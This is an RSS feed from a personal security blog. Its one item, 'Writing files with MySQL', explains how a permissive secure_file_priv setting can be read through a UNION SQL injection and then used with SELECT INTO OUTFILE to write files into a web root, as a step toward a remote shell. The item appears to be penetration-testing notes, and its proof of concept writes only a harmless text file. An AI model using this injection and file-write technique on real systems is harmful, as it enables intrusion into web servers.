<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Remote-Shell on slightlymore</title><link>https://slightlymore.co.uk/tags/remote-shell/</link><description>Recent content in Remote-Shell on slightlymore</description><generator>Hugo</generator><language>en-GB</language><copyright>&lt;a href="https://creativecommons.org/licenses/by/4.0/" target="_blank" rel="license"&gt;CC BY 4.0&lt;/a&gt; by Clinton Montague</copyright><lastBuildDate>Sat, 03 Jan 2026 21:09:58 +0000</lastBuildDate><atom:link href="https://slightlymore.co.uk/tags/remote-shell/index.xml" rel="self" type="application/rss+xml"/><item><title>Writing files with MySQL</title><link>https://slightlymore.co.uk/writing-files-with-mysql/</link><pubDate>Sat, 03 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/writing-files-with-mysql/</guid><description>&lt;h2 id="prerequisites"&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;This should not be enabled on any modern secure systems, but if it is, you can use it to create a remote shell.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://dev.mysql.com/doc/refman/8.4/en/server-system-variables.html#sysvar_secure_file_priv" target="_blank" rel="noopener"&gt;&lt;code&gt;secure_file_priv&lt;/code&gt; ↗️&lt;/a&gt;
 can have the following values:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;null&lt;/code&gt;: cannot write anywhere on system&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;quot;&amp;quot;&lt;/code&gt; (empty string): can write anywhere&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;quot;/path/to/dir&amp;quot;&lt;/code&gt;: can write only to specified path&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SHOW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VARIABLES&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;LIKE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;secure_file_priv&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can get this by querying the information_schema using a union injection&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;UNION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VARIABLE_NAME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;VARIABLE_VALUE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INFORMATION_SCHEMA&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GLOBAL_VARIABLES&lt;/span&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="do-it"&gt;Do it&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;OOPS!&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;INTO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OUTFILE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/var/www/html/poc.txt&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://slightlymore.co.uk/enumerating-databases-tables-columns-and-user-privileges-with-sql-injection"&gt;Enumerating databases, tables, columns, and user privileges with SQL injection 🌿&lt;/a&gt;
&lt;/p&gt;</description></item></channel></rss>